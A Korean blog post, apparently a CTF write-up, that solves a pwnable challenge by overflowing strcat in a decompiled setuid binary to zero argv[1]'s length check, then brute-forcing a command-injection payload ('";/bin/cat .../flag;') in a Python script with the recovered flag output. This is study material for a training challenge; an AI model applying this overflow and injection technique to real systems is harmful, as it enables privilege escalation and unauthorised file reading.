티스토리 뷰
예선 당시에는 못풀었던 문제지만 나중에 푼 문제
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@2 const unsigned __int16 v4; // ax@4 __int64 v5; // rdx@10 int i; // [sp+1Ch] [bp-124h]@3 int system_command; // [sp+20h] [bp-120h]@1 __int64 STACK_CANARY; // [sp+128h] [bp-18h]@1 STACK_CANARY = *MK_FP(__FS__, 40LL); CLEAR_ENVIRON(); system_command = ' di'; if ( argv[1] ) { strcat(&system_command, argv[1]); for ( i = 0; i < strlen(argv[1]) + 3; ++i ) { v4 = (*__ctype_b_loc())[*(&system_command + i)]; if ( !(v4 & 8) && *(&system_command + i) != ' ' ) { result = 1; goto LABEL_10; } } result = system(&system_command); } else { result = 0; } LABEL_10: v5 = *MK_FP(__FS__, 40LL) ^ STACK_CANARY; return result; } | cs |
$PATH환경변수를 바꿔서 id 명령어를 플래그값을 읽는 명령어로 만들고
싶었지만 CLEAR_ENVIRON함수가 환경변수를 모두 0x00으로 만들기 때문에
그런 방법으로는 불가능 하다.
그래서 strcat부분에서 overflow를 일으킨다는 힌트를 받고.
오옹, system@plt가 있으니까 /bin/sh를 실행시켜주는 것인가? 하면서
열심히 CANARY를 우회하는 방법을 찾았지만, 포기
알고보니 strlen(argv[1])을 하는 곳을 0으로 만들어서 특수문자 검사를 하지 않게
만들어야 한다는 것이다!
원래 스택 프레임에는 아래와 같이 들어가지만
BBBBBB..(입력한 값, 약 500개)
[ BUFFER ] [ CANARY ] [ SFP ] [ RET ] [ ARGV[0] ] [ ARGV[1] ]
strcat함수 이후에는 다음과 같이 스택이 바뀌어서 들어가게 된다는 것이다.
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.. (ARGV 변조!)
[ BUFFER ] [ CANARY ] [ SFP ] [ RET ] [ ARGV[0] ] [ ARGV[1] ]
물론 CANARY가 바뀌니까 안되는거 아닌가? 라고 말할수도 있지만
stack_chk_fail함수는 ret를 검사하는 용도기 때문에 함수 맨 마지막에 와서 system함수가 실행되는 건
막을수가 없다.
GDB로 확인해보면 ARGV[1]은 대충 0x7fffffffe940쯔음에 있고 0x7fffffffe960부터
0으로 초기화 된 환경변수 부분이니 argv[1]의 최하위 바이트 하나만 0x60으로 바꿔주면
argv[1]은 널 포인트를 가르키게 됨. 그래서 strlen(argv[1])은 0이 되게 된다.
왠지 system_command변수와 argv[1]변수의 차이가 잘 구해지지 않는다.
브루트 포싱을 해보자!
1 2 3 4 5 6 7 | #!/usr/bin/env python import os for i in range(1000): command = "/home/systemshock/shock \";/bin/cat /home/systemshock/flag;" command += "\x61" * i + "\"" os.system(command) | cs |
1 2 3 4 5 6 7 | $ ./brute.py 1>flag ..... $ cat flag uid=1002(systemshock) gid=1002(systemshock) euid=1003(sys... B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t uid=1002(systemshock) gid=1002(systemshock) euid=1003(sys... B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t | cs |
1 | B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t | cs |
사이트가 닫혀서 플래그가 맞는지 모름..
'Pwnable > CTF' 카테고리의 다른 글
0CTF 2015 [FlagGenerator] (2) | 2015.04.16 |
---|---|
Plaid CTF 2014 [Kappa] (2) | 2015.04.06 |
CODEGATE 2015 JUNIOR 예선 WRITE UP (0) | 2015.03.16 |
CodeGate Junior 2014 [lotto] (0) | 2015.02.15 |
GITS2012 [Pwnable 200] (0) | 2015.01.30 |